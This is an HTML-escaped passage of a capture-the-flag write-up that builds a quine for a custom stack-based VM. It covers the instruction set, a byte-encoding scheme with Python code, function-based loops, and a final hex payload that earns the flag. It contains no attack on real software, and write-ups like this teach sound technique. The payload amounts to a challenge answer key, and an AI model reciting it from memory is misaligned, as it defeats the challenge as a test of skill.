&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;push_stack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;user_code&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;execute_one_inst&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fail&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;user_code&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fail&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="n"&gt;print_flag&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The &lt;em&gt;Assemblium&lt;/em&gt; sequence (i. e. instructions for the custom instruction
set) are read from stdin and pushed to the VM's code stack. Then the
instructions are executed one by one using the &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;execute_one_inst(&amp;amp;vm)&lt;/span&gt;&lt;/tt&gt;
function. If the output of the VM, i. e. the output stack, contains the
same bytes as the given user code, the flag is printed. This is called a
&lt;em&gt;quine&lt;/em&gt; (see also &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Quine_(computing"&gt;https://en.wikipedia.org/wiki/Quine_(computing&lt;/a&gt;)):&lt;/p&gt;
&lt;blockquote&gt;
A quine is a computer program which takes no input and produces a
copy of its own source code as its only output. The standard terms
for these programs in the computability theory and computer science
literature are &amp;quot;self-replicating programs&amp;quot;, &amp;quot;self-reproducing
programs&amp;quot;, and &amp;quot;self-copying programs&amp;quot;.&lt;/blockquote&gt;
&lt;p&gt;Quines are usually built around the following principle (see also
&lt;a class="reference external" href="https://cs.lmu.edu/~ray/notes/quineprograms/"&gt;https://cs.lmu.edu/~ray/notes/quineprograms/&lt;/a&gt;):&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The classic way to produce a self-printing program has two steps:&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;Initialize a string variable, with a placeholder for
interpolation.&lt;/li&gt;
&lt;li&gt;Print the string, interpolating the string into itself.&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;Therefore we have to analyze the instruction set to find out how we can
apply these principles.&lt;/p&gt;
&lt;p&gt;To get an inspiration, let us look at quines in other assembly languages
(see also &lt;a class="reference external" href="https://codegolf.stackexchange.com/a/5742"&gt;https://codegolf.stackexchange.com/a/5742&lt;/a&gt;). The following
quine, for example, is written in gas for x86 Linux:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
.globl main
main:movw $34,B+86
push $B+1
call puts
call puts
pop B
ret
.data
B:.ascii&amp;quot;
.globl main
main:movw $34,B+86
push $B+1
call puts
call puts
pop B
ret
.data
B:.ascii&amp;quot;
&lt;/pre&gt;
&lt;p&gt;We can see that the previously mentioned principles are applied: There
is a string (&lt;tt class="docutils literal"&gt;B&lt;/tt&gt;) that contains the program code that prints the
string. To interpolate the string into itself, &lt;tt class="docutils literal"&gt;puts()&lt;/tt&gt; is simply
called twice. The idea of this quine to have a string and print the
string twice can be applied to our own instruction set.&lt;/p&gt;
&lt;div class="section" id="basic-idea"&gt;
&lt;h3&gt;Basic idea&lt;/h3&gt;
&lt;p&gt;To abstract the idea of the GAS x86 quine: we have to build a string
that contains two print instructions, and then print that string two
times.&lt;/p&gt;
&lt;p&gt;Let's first imagine an instruction set in which the &lt;em&gt;first two bytes&lt;/em&gt; of
the given instructions are &lt;em&gt;always&lt;/em&gt; interpreted as a literal (i. e. as a
string) and the two following instructions are interpreted according to
the semantics of the instruction set (i. e. as code). This is a
simplification of the given instruction set but we can iterate from
there once we understand how to make a quine in this simplified
environment. If the print instruction in that instruction set is
&lt;tt class="docutils literal"&gt;0xb0&lt;/tt&gt;, the quine would be simply &lt;tt class="docutils literal"&gt;0xb0 0xb0 0xb0 0xb0&lt;/tt&gt;. The first
two bytes are the literal which would be put on the data stack. The next
two bytes are interpreted as &lt;em&gt;print what is on the stack&lt;/em&gt; (but without
destroying it). The result is that &lt;tt class="docutils literal"&gt;0xb0 0xb0 0xb0 0xb0&lt;/tt&gt; is printed
(i. e. written to the output stack).&lt;/p&gt;
&lt;p&gt;So far so good but our instruction set is far more flexible so we have
to be more creative.&lt;/p&gt;
&lt;p&gt;First, not the first n bytes are interpreted as a literal but only bytes
that are less than 0x80, i. e. where the MSB is not set. This means that
the instruction set is split into two halves: The first half (everything
below 0x80) is interpreted as a literal byte and copied to the data
stack, the second half (everything &amp;gt;= 0x80) is interpreted as code and
the semantics depend on the byte as described above. This means that our
literal cannot include the print instruction as-is because then it would
not be a literal anymore. How can we solve this? We encode bytes which
are &amp;gt;= 0x80 so that they are interpreted as data. So instead of using
syntax to mark the bytes as data, we encode the bytes. This makes things
slightly more complicated. The x86 quine has to deal with quotes being
special as well but that's rather easy: &lt;tt class="docutils literal"&gt;movw $34,B+86&lt;/tt&gt; inserts a
quote at the end of the string. The string is then printed as-is using
the &lt;tt class="docutils literal"&gt;puts()&lt;/tt&gt; function.&lt;/p&gt;
&lt;p&gt;We do something similar: We first print the data bytes as-is, then we
print the instructions that printed the data bytes.&lt;/p&gt;
&lt;p&gt;In an abstract way the quine looks as follows:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
&amp;lt;encoded instructions E(I)&amp;gt; || &amp;lt;instructions I: print the data stack, decode and print the data stack&amp;gt;
&lt;/pre&gt;
&lt;p&gt;When the program is executed, the following happens:&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;The data in the beginning of the program (i. e. the encoded
instructions) are copied to the data stack.&lt;/li&gt;
&lt;li&gt;The instructions after the data are executed. These instructions do
the following:&lt;/li&gt;
&lt;li&gt;The content of the data stack is printed.&lt;/li&gt;
&lt;li&gt;The content of the data stack is decoded and printed.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This way, we have created a self-replication program: The encoded
instructions are printed first, then the encoded instructions are
decoded and printed which prints the actually executed instructions. Our
program replicated itself.&lt;/p&gt;
&lt;p&gt;Note how this is similar to the GAS x86 quine, except that the encoded
instructions are at the beginning and not at the end and that we have to
encode the instructions instead of simply using syntax (quotes in the
case of GAS) to give the instructions as literal and not as code.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="solution"&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;To implement the concepts we have to solve the following problems:&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;Define a &lt;em&gt;variable-length&lt;/em&gt; encoding scheme that takes bytes between
0x00 and 0xff and produces bytes between 0x00 and 0x7f. This encoding
scheme has to be reversible with the given instruction set (it is not
clear if the instruction set is Turing complete so we might be
limited).&lt;/li&gt;
&lt;li&gt;Define instructions that print the content of the data stack, decode
the data stack using the scheme from (1) and print the decoded
result.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="section" id="instruction-set"&gt;
&lt;h3&gt;Instruction set&lt;/h3&gt;
&lt;p&gt;First, we have to analyze the instruction set more deeply. Every
instruction takes one byte. The instruction byte is interpreted as
follows:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&amp;lt; 0x80: pushed as-is to data&lt;/li&gt;
&lt;li&gt;0x80: pop from data, XOR 0x80, push to data&lt;/li&gt;
&lt;li&gt;0x81: pop from data, if 0 push 0xff, else push 0&lt;/li&gt;
&lt;li&gt;0x82: pop a from data, pop b from data, push a &amp;amp; b to data&lt;/li&gt;
&lt;li&gt;0x83: pop a from data, pop b from data, push a | b to data&lt;/li&gt;
&lt;li&gt;0x84: pop a from data, pop b from data, push a ^ b to data&lt;/li&gt;
&lt;li&gt;0x90: pop a from data, pop b from data, push a to to data, push b to
data (= swap a and b)&lt;/li&gt;
&lt;li&gt;0x91: pop from data, push twice to data&lt;/li&gt;
&lt;li&gt;0xa0: pop function index from data, pop from data unless value is
0xa1, push to function index's data&lt;/li&gt;
&lt;li&gt;0xb0: pop from data, push to output&lt;/li&gt;
&lt;li&gt;&lt;dl class="first docutils"&gt;
&lt;dt&gt;=0xc0, &amp;lt;0xe0: push all function index's (index = inst - 0xc0) data to&lt;/dt&gt;
&lt;dd&gt;code (= call a function)&lt;/dd&gt;
&lt;/dl&gt;
&lt;/li&gt;
&lt;li&gt;&lt;dl class="first docutils"&gt;
&lt;dt&gt;= 0xe0: pop from data, if != 0: push all function index's (index =&lt;/dt&gt;
&lt;dd&gt;inst - 0xe0) data to code (= call a function)&lt;/dd&gt;
&lt;/dl&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="implementation"&gt;
&lt;h3&gt;Implementation&lt;/h3&gt;
&lt;div class="section" id="encoder"&gt;
&lt;h4&gt;Encoder&lt;/h4&gt;
&lt;p&gt;Our first task is to come up with an encoding scheme. The encoding
scheme will encode every byte into three bytes which are guaranteed to
be below &lt;tt class="docutils literal"&gt;0x80&lt;/tt&gt;. This encoding is not very efficient in general: The
encoded data is three times bigger than the original data but it is
relatively easy to implement.&lt;/p&gt;
&lt;p&gt;The encoding works as follows:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Every byte &lt;tt class="docutils literal"&gt;b&lt;/tt&gt; that is below &lt;tt class="docutils literal"&gt;0x80&lt;/tt&gt; will be encoded as
&lt;tt class="docutils literal"&gt;0x01 0x10 b&lt;/tt&gt;.&lt;/li&gt;
&lt;li&gt;Every byte &lt;tt class="docutils literal"&gt;b&lt;/tt&gt; that is &lt;tt class="docutils literal"&gt;0x80&lt;/tt&gt; or above will be XORed with
&lt;tt class="docutils literal"&gt;0xff&lt;/tt&gt; and encoded as &lt;tt class="docutils literal"&gt;0x11 0x11 b'&lt;/tt&gt;, where &lt;tt class="docutils literal"&gt;b'&lt;/tt&gt; is the XORed
byte.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt; The bytes &lt;tt class="docutils literal"&gt;0x1f 0xf1&lt;/tt&gt; are encoded as
&lt;tt class="docutils literal"&gt;0x01 0x10 0x1f 0x11 0x11 0x0e&lt;/tt&gt;.&lt;/p&gt;
&lt;p&gt;The Python code for the encoding looks as follows:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bytecode&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytearray&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;bytecode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;0x00 is not supported!&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x01&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x11&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x11&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="mh"&gt;0xff&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# end of encoded sequence&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Note that &lt;tt class="docutils literal"&gt;0x00&lt;/tt&gt; cannot be encoded because it marks the end of the
encoded sequence. We need to have such an end mark because of the
variable length property. However, this is a viable limitation because
it is possible to avoid having to encode null bytes.&lt;/p&gt;
&lt;p&gt;This encoding scheme can be quite easily decoded with the following
instructions:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;tt class="docutils literal"&gt;0x84&lt;/tt&gt;: pop a from data, pop b from data, push &lt;tt class="docutils literal"&gt;a ^ b&lt;/tt&gt; to data&lt;/li&gt;
&lt;li&gt;&lt;tt class="docutils literal"&gt;0x81&lt;/tt&gt;: pop from data, if &lt;tt class="docutils literal"&gt;0&lt;/tt&gt; push &lt;tt class="docutils literal"&gt;0xff&lt;/tt&gt;, else push &lt;tt class="docutils literal"&gt;0&lt;/tt&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Thus, the instructions &lt;tt class="docutils literal"&gt;0x84 0x81 0x84&lt;/tt&gt; reverse the encoding.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The bytes &lt;tt class="docutils literal"&gt;0x01 0x10 0x1f 0x11 0x11 0x0e&lt;/tt&gt; are given on the data stack.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;tt class="docutils literal"&gt;0x84&lt;/tt&gt; pops &lt;tt class="docutils literal"&gt;0x01&lt;/tt&gt; and &lt;tt class="docutils literal"&gt;0x10&lt;/tt&gt; from the stack and pushes
&lt;tt class="docutils literal"&gt;0x01 ^ 0x10 = 0x11&lt;/tt&gt; to the stack. &lt;tt class="docutils literal"&gt;0x81&lt;/tt&gt; pops &lt;tt class="docutils literal"&gt;0x11&lt;/tt&gt; from the
stack, since it is not &lt;tt class="docutils literal"&gt;0&lt;/tt&gt; it pushes &lt;tt class="docutils literal"&gt;0&lt;/tt&gt; to the stack. &lt;tt class="docutils literal"&gt;0x84&lt;/tt&gt;
pops &lt;tt class="docutils literal"&gt;0&lt;/tt&gt; and &lt;tt class="docutils literal"&gt;0x1f&lt;/tt&gt; from the stack and pushes
&lt;tt class="docutils literal"&gt;0x1f ^ 0x00 = 0x1f&lt;/tt&gt; to the stack. &lt;tt class="docutils literal"&gt;0x1f&lt;/tt&gt; is now on the stack
which was the first byte in the original sequence.&lt;/li&gt;
&lt;li&gt;&lt;tt class="docutils literal"&gt;0x84&lt;/tt&gt; pops &lt;tt class="docutils literal"&gt;0x11&lt;/tt&gt; and &lt;tt class="docutils literal"&gt;0x11&lt;/tt&gt; from the stack and pushes
&lt;tt class="docutils literal"&gt;0x11 ^ 0x11 = 0x00&lt;/tt&gt; to the stack. &lt;tt class="docutils literal"&gt;0x81&lt;/tt&gt; pops &lt;tt class="docutils literal"&gt;0x00&lt;/tt&gt; from the
stack, since it is &lt;tt class="docutils literal"&gt;0&lt;/tt&gt; it pushes &lt;tt class="docutils literal"&gt;0xff&lt;/tt&gt; to the stack. &lt;tt class="docutils literal"&gt;0x84&lt;/tt&gt;
pops &lt;tt class="docutils literal"&gt;0xff&lt;/tt&gt; and &lt;tt class="docutils literal"&gt;0x0e&lt;/tt&gt; from the stack and pushes
&lt;tt class="docutils literal"&gt;0x0e ^ 0xff = 0xf1&lt;/tt&gt; to the stack. &lt;tt class="docutils literal"&gt;0xf1&lt;/tt&gt; is now on the stack
which was the second byte in the original sequence.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="jumps-loops"&gt;
&lt;h4&gt;Jumps / loops&lt;/h4&gt;
&lt;p&gt;To run the decode instructions &lt;tt class="docutils literal"&gt;0x84 0x81 0x84&lt;/tt&gt; in a loop, we resort
to the following trick: The virtual machine supports the notion of
&amp;quot;functions&amp;quot;, i. e. 32 separate stacks that can hold code which can be
executed more than once. To decode all bytes until we reach &lt;tt class="docutils literal"&gt;0x00&lt;/tt&gt; we
create two functions which call each other (&amp;quot;ping pong&amp;quot;). There are
special instructions which &lt;em&gt;conditionally&lt;/em&gt; call a function. I. e. the
function is only called if the top of the data stack is &lt;em&gt;not&lt;/em&gt; &lt;tt class="docutils literal"&gt;0x00&lt;/tt&gt;.
We can use this to end the decoding by giving &lt;tt class="docutils literal"&gt;0x00&lt;/tt&gt; on the stack at
the end of the encoded sequence. (In x86 assembly, we would use &lt;tt class="docutils literal"&gt;cmp&lt;/tt&gt;
and &lt;tt class="docutils literal"&gt;jnz&lt;/tt&gt; instead of the functions.)&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="decoding-and-printing"&gt;
&lt;h4&gt;Decoding and printing&lt;/h4&gt;
&lt;p&gt;Now that we know how to encode instructions, it is time to define
instructions that print the content of the data stack, decode the data
stack using the scheme from (1) and print the decoded result.&lt;/p&gt;
&lt;p&gt;Let's start with instructions that print everything that is on the data
stack. As described in the &lt;em&gt;Jumps / loops&lt;/em&gt; section, we will use
functions because the language does not support jumps or loops.&lt;/p&gt;
&lt;p&gt;First, we define the the &lt;em&gt;ping&lt;/em&gt; function. This function executes the
following instructions: &lt;tt class="docutils literal"&gt;0x91 0xb0 0xe3&lt;/tt&gt;&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;&lt;tt class="docutils literal"&gt;0x91&lt;/tt&gt;: Duplicate the value on the data stack&lt;/li&gt;
&lt;li&gt;&lt;tt class="docutils literal"&gt;0xb0&lt;/tt&gt;: Pop value from data stack, push to output stack (this is
basically the &amp;quot;puts&amp;quot; in our virtual machine)&lt;/li&gt;
&lt;li&gt;&lt;tt class="docutils literal"&gt;0xe3&lt;/tt&gt;: Pop value from data stack, if value &lt;em&gt;is not&lt;/em&gt; &lt;tt class="docutils literal"&gt;0x00&lt;/tt&gt; call
function 3 (the pong function)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We duplicate the value on the stack so that we can print it once (which
is destructive) and still be able to check if it is not &lt;tt class="docutils literal"&gt;0x00&lt;/tt&gt;.&lt;/p&gt;
&lt;p&gt;Second, we define the &lt;em&gt;pong&lt;/em&gt; function. This function executes the
following instructions: &lt;tt class="docutils literal"&gt;0x91 0xb0 0xe2&lt;/tt&gt;&lt;/p&gt;
&lt;p&gt;This function does basically the same except that it calls function 2
instead of 3, i. e. the ping function.&lt;/p&gt;
&lt;p&gt;Now that we know how the function bodies should look like, we need to
know how functions are created.&lt;/p&gt;
&lt;p&gt;Creating a function works like this: If the &lt;tt class="docutils literal"&gt;0xa0&lt;/tt&gt; instruction is
encountered, a value is popped from the data stack. This value is the
&lt;em&gt;index&lt;/em&gt; of the function (indices 0 to 31 are supported). Then, all
values from the data stack are popped as long as &lt;tt class="docutils literal"&gt;0xa1&lt;/tt&gt; is not
encountered. Be aware that functions are created &lt;em&gt;in reverse order&lt;/em&gt; due
to the stack principle. I. e. the instruction that is executed at the
end must go first. Further, we have to create the function code on the
data stack.&lt;/p&gt;
&lt;p&gt;In order to get instructions on the data stack we have to encode them
(remember: only values &amp;lt; 0xb0 are copied as-is to the data stack). This
is relatively simple: The &lt;tt class="docutils literal"&gt;0x80&lt;/tt&gt; instruction pops the value from the
data stack, XORs it with &lt;tt class="docutils literal"&gt;0x80&lt;/tt&gt; and pushes the result.&lt;/p&gt;
&lt;p&gt;The ping function looks like this when it is encoded:
&lt;tt class="docutils literal"&gt;0x21 0x80 0x63 0x80 0x30 0x80 0x11 0x80 0x02 0xa0&lt;/tt&gt;&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;tt class="docutils literal"&gt;0x21 ^ 0x80 = 0xa1&lt;/tt&gt;: marks the end of the function&lt;/li&gt;
&lt;li&gt;&lt;tt class="docutils literal"&gt;0x63 ^ 0x80 = 0xe3&lt;/tt&gt;: call function 3&lt;/li&gt;
&lt;li&gt;&lt;tt class="docutils literal"&gt;0x30 ^ 0x80 = 0xb0&lt;/tt&gt;: print&lt;/li&gt;
&lt;li&gt;&lt;tt class="docutils literal"&gt;0x11 ^ 0x80 = 0x91&lt;/tt&gt;: duplicate&lt;/li&gt;
&lt;li&gt;&lt;tt class="docutils literal"&gt;0x02&lt;/tt&gt;: index of function&lt;/li&gt;
&lt;li&gt;&lt;tt class="docutils literal"&gt;0xa0&lt;/tt&gt;: create function&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The pong function can be encoded in a similar fashion.&lt;/p&gt;
&lt;p&gt;To call the print ping function, one instruction is enough: &lt;tt class="docutils literal"&gt;0xc2&lt;/tt&gt;
calls the function with index 2, i. e. the print ping function.&lt;/p&gt;
&lt;p&gt;Encoding and printing works similar. The difference is that we have to
include the decoding instructions before we print it.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="putting-everything-together"&gt;
&lt;h4&gt;Putting everything together&lt;/h4&gt;
&lt;p&gt;Now we create the final payload:&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;We encode the instructions using the encoding defined earlier and
wrap the data into a function so that we can use it twice (once for
printing as-is, once for decoding and printing).&lt;/li&gt;
&lt;li&gt;We append the instructions for decoding and printing.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The final payload is then (without the newlines):&lt;/p&gt;
&lt;pre class="literal-block"&gt;
218001100111115f01102111114f01101101101111117
b11117f11114f11113e01102111117f01106311117f01
103011117f01101111117f01100211115f01102111117
f01106211117f01103011117f01101111117f01100311
115f11113d11113e01102111117f01106511117f01101
111117f01100411115f01102111117f01104411117f01
103011117f01100411117f01100111117f01100411117
f01100511115f11113b0001a021b011118480b0c12180
63803080118002a0218062803080118003a0c2c121806
580118004a021804480308004800180048005a0c4
&lt;/pre&gt;
&lt;p&gt;A commented solution that creates the payload:&lt;/p&gt;
